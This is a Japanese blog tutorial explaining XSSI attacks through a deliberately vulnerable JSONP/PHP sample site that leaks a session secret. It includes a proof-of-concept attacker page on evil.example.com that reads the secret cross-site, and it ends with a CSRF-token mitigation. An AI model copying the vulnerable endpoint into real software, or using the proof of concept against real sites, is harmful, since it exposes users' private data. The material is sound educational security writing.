まったり技術ブログ

Technology is power.

XSSI(Cross-Site Script Inclusion)攻撃とは

f:id:motikan2010:20180303225303p:plain
 今回はWebセキュリティのお話です。
とある機会にXSSI(Cross-Site Script Inclusion : クロスサイト・スクリプト・インクルージョン)攻撃というワードが話に出てきて、その攻撃が正直分からず困惑してしまったので、その攻撃について調べてみました。

 結論としては「Same-Origin Policy制限外のJSONPなどから、機密情報を外部ドメインから取得する攻撃」です。
 サンプルアプリケーションを用いて実際に動作を見て攻撃を確認していきます。

攻撃名からの勝手な予想

帰宅中の電車内でどんな攻撃だろうかと予想していました。
 下記がその予想内容です。

  • XSSと名前が非常に似ている為、何かしらのエスケープ漏れ(脆弱性)で発生する。
  • XSSIというワードを 見た/聞いた だけでしたので、正称は「Cross Site Scripting Injection」だと勝手に考えた。
     その結果、「SQL injection」「OS Command injection」「Server-Side Template Injection」と同じく攻撃者が能動的に攻撃が可能である系のヤバい分類の攻撃。
  • XSSの別名で、XSSを目新しく言うためのごく一部に存在するセキュリティベンダー独自の営業ワード

 結論から言うと、どれも間違っていました。
 エスケープの漏れは関係ありません。攻撃者が能動的にWebサーバに攻撃できるようなものでもありません。正称は「Cross-Site Script Inclusion(スクリプト・インクルージョン)」です。ベンダー独自の営業ワードでなく、XSSとは全く別の攻撃です。

これらを整理すると、

  • エスケープ漏れは関係ない
  • 影響発生のトリガーはXSSと同じく被害者が罠サイトへのアクセス

結局何ができるのか

 一言で言うと「特定のユーザでしかアクセスできない情報に攻撃者がアクセス可能」です。

f:id:motikan2010:20180303202014p:plain
 この一言や図ですぐに頭に思い浮かべることは「Same-Origin Policy(同一生成元ポリシー)によるブロック」ということです。
 復習を兼ねて「Same-Origin Policy」の挙動を確認します。

Same-Origin Policyを確認

もし「Same-Origin Policy」が存在しないブラウザで、下のコードを含んだ罠サイトにAmazonにログインユーザがアクセスした場合は、注文履歴のレスポンスが攻撃者に送信されていまうことになります。

<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://www.amazon.co.jp/gp/your-account/order-history", true);
xhr.onload = function (e) {
    if (xhr.readyState === 4) {
        if (xhr.status === 200) {
            console.log(xhr.responseText); // 返却されたレスポンス内容
            // ごにょごにょして攻撃者にレスポンス内容を送信処理
        }
    }
};
xhr.send(null);
</script>

 もちろん、主要なブラウザはそのような挙動はせずに下記のようなアクセス違反のエラーメッセージが表示されれます。 f:id:motikan2010:20180303204149p:plain
 その仕組みのおかげで、別ドメインに存在しているリソースに安易にアクセスできないようになっています。

XSSIは結局何ができるのか

 実際にサンプルアプリケーションを動かして、XSSI攻撃がどのようなものなのを見ていきます。
 途中JSONPについても軽くふれます。

脆弱性が存在するサイト(bank.example.jp)

  1. 「bank.example.jp」にアクセス f:id:motikan2010:20180303212436p:plain
  2. 「Get Secret Code」を押下すると、シークレットコードが発行されます。
     このコードは別のユーザに取得されてはいけない機密情報としてここでは扱います。 f:id:motikan2010:20180303212429p:plain

  3. シークレットコードはセッションに保存されているため、常に同じ値が返却されることになっています。

トップページ(index.php)
<!-- Unsecure -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8"/>
    <title>bank.example.jp</title>
</head>
<body>
<h3>bank.example.jp</h3>
<button id="get-date-btn">Get Secret Code</button><br/>
あなたのシークレットコードは「<span id="secret-code-text"></span>」です。

<script type="text/javascript">
displaySecretData = function(secretDate) {
    var span = document.getElementById('secret-code-text')
    span.innerHTML= secretDate['secret_code'];
};

window.onload = function(){
    var btnGetData = document.getElementById("get-date-btn");
    btnGetData.addEventListener("click",function() {
        var scriptTag = document.createElement("script");
        scriptTag.type = 'text/javascript';
        scriptTag.src = "userdata.php?callback=displaySecretData";
        var parent = document.getElementsByTagName("script")[0];
        parent.parentNode.insertBefore(scriptTag, parent);
    }, false);
}
</script>
</body>
</html>
シークレットコードを生成し、JSONPを活用(userdata.php)
<?php
session_start();

if (empty($_SESSION['secret_code'])) {
    $_SESSION['secret_code'] = uniqid();
}

function getSecretCode($secret_code) {
    return ['secret_code' => $secret_code];
}

$callback = "jsonCallback";
if(isset($_GET['callback'])){
    $callback = $_GET['callback'];
}

// ユーザのシークレットコードを取得
$result = getSecretCode($_SESSION['secret_code']);

$json = json_encode($result, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);

header("Content-type: application/x-javascript");
echo "$callback($json)";

「Get Secret Code」を押下すると

<script type="text/javascript" src="userdata.php?callback=displaySecretData"></script>

というscriptタグが動的に生成されます。
 読み込んだJavaScriptの内容は下記の通りで、JSON形式のシークレットコードをdisplaySecretData関数に渡す処理です。

displaySecretData({"secret_code":"5a9a8fb2d3751"})

 重要なことは、JSONPを用いて機密情報を返していると言うことです。
JSONPのWikiを見てみると、

JSONP (JSON with padding) とは、scriptタグを使用してクロスドメインな(異なるドメインに存在する)データを取得する仕組みのことである。HTMLのscriptタグ、JavaScript(関数)、JSONを組み合わせて実現される。

とあります。(ノ∀`)アチャー

 先に説明した「Same-Origin Policy」を回避する手段として、この仕組みが存在していますが、回避できるということは、外部のドメインからそのリソースにアクセス可能であることを表します。

 Wikiを読み進めていくと下記の文言があります。

scriptタグを埋め込む側においては、リモートサイトは任意の内容のデータをページに差し込むことが可能であるため、そのリモートサイトが悪意のあるサイトである場合やJavaScriptインジェクションに対する脆弱性がある場合は、その脆弱性を突かれることで、アカウント情報を盗まれたり、元のサイトも影響を受けたりする可能性がある。

 その脆弱性を悪用する攻撃がこそが「XSSI(Cross-Site Script Inclusion)攻撃

攻撃者が用意したサイト (evil.example.com)

 アクセスの際、シークレットコードが読み取られていることが確認できます。
仕組みは非常に単純です。

f:id:motikan2010:20180303215301p:plain

トップページ (index.html)
<!DOCTYPE html>
<html>
<head>
    <title>www.evil.example.com</title>
</head>
<body>
<h3>www.evil.example.com</h3>

<script type="text/javascript">
displaySecretData = function(secretDate) {
    alert(secretDate['secret_code']);
};
</script>
<script src="http://bank.example.jp/unsecure/userdata.php?callback=displaySecretData"></script>
</body>
</html>
<script src="http://bank.example.jp/unsecure/userdata.php?callback=displaySecretData"></script>

というscriptタグが含まれています。  ブラウザは「http://bank.example.jp」というドメインにアクセスするので、セッション情報が格納されているCookieを送信します。セッション情報からシークレットコードという機密情報が取得されレスポンスとして返却されます。 その返却先が罠サイトであるため、取得した情報をアラートとして表示しています。アラートではなく攻撃者元にその情報を送信することも可能です。

対策

CSRFトークンによる対策

※ここで使用しているCSRFトークンは、安易な実装であり、実際に使えないものです。
JavaScriptを読み込む時にCSRFトークンをGETパラメータに含めるように修正しました。

scriptTag.src = "userdata.php?callback=displaySecretData&csrf_token=<?php echo $csrfToken ?>";

 データの取得にCSRF対策をするのはなかなか新鮮ですね。 f:id:motikan2010:20180303221119p:plain

その他対策に関する記事
・PROJEKT: SEGELFALTER DEBRIEFING
https://www.owasp.org/images/9/9a/20160607-xssi-the_tale_of_a_fameless_but_widepsread_vulnerability-Veit_Hailperin.pdf#page=26

まとめ

 駆け足でXSSIを説明してみましたが、下記の参考記事を見てみるとJSONP以外にもパターンが色々ありそうです。
JSONPはその中の攻撃対象の1つに過ぎないとということでしょうか。

 実装するときに「Same-Origin Policy」のことは考えていないというのは正直ありました。JSONPを実業務で利用したことはありませんですが、ユーザによって動的にJavaScriptファイルを作成するような実装を行うときは、注意しなければならないですね。

今回扱ったアプリケーションのリポジトリ

github.com

参考記事

Cross-Site Script Inclusion - A Fameless but Widespread Web Vulnerability Class

xss - What is Cross Site Script Inclusion (XSSI)? - Stack Overflow

・Identifier based XSSI attacks
https://www.mbsd.jp/Whitepaper/xssi.pdf

Angular(>=2.x)はセキュリティに対してどのような提案をしているか - Qiita

JSONPをごりごり実装するときのポイント - Qiita

・ PROJEKT: SEGELFALTER DEBRIEFING
https://www.owasp.org/images/9/9a/20160607-xssi-the_tale_of_a_fameless_but_widepsread_vulnerability-Veit_Hailperin.pdf#page=26